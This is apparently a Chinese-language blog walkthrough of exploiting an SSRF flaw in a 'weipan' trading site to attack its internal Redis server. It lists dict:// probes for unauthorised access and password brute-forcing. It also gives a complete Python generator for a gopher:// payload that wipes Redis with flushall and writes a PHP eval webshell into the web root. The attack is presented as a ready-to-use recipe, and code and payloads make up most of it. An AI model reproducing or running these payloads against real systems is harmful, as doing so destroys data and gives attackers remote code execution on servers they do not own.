SSRF打内网redis

旁观的时候,每个人都是智者


经典的微盘ssrf,有回显

Assassins小白

file协议读取被拦截

Assassins小白

使用dict协议请求 6379 端口,看到返回 banner 信息,说明端口开放

Assassins小白

可以再请求 dict://127.0.0.1:6379/info 如果能看到 redis 以及系统的一些信息,就说明存在未授权

Assassins小白

如果返回 Authentication required 就是需要密码
可以使用dict协议爆破密码:dict://127.0.0.1:6379/auth:<password>

访问漏洞api地址爆出绝对路径 /application/index/controller/Api.php

Assassins小白

有了绝对路径就可以写shell了

使用如下代码生成 gopherpayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6788" # 端口
shell = "\n\n<?php eval($_POST[\"test\"]);?>\n\n" # 写入内容
filename = "1.php" # shell名称
path = "/var/www/html" # 绝对路径
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))

# print(payload)
print(urllib.parse.quote(payload))

上面信息按需填写,然后直接运行就可以生成攻击payload了

Assassins小白

直接请求写入shell

Assassins小白

访问

Assassins小白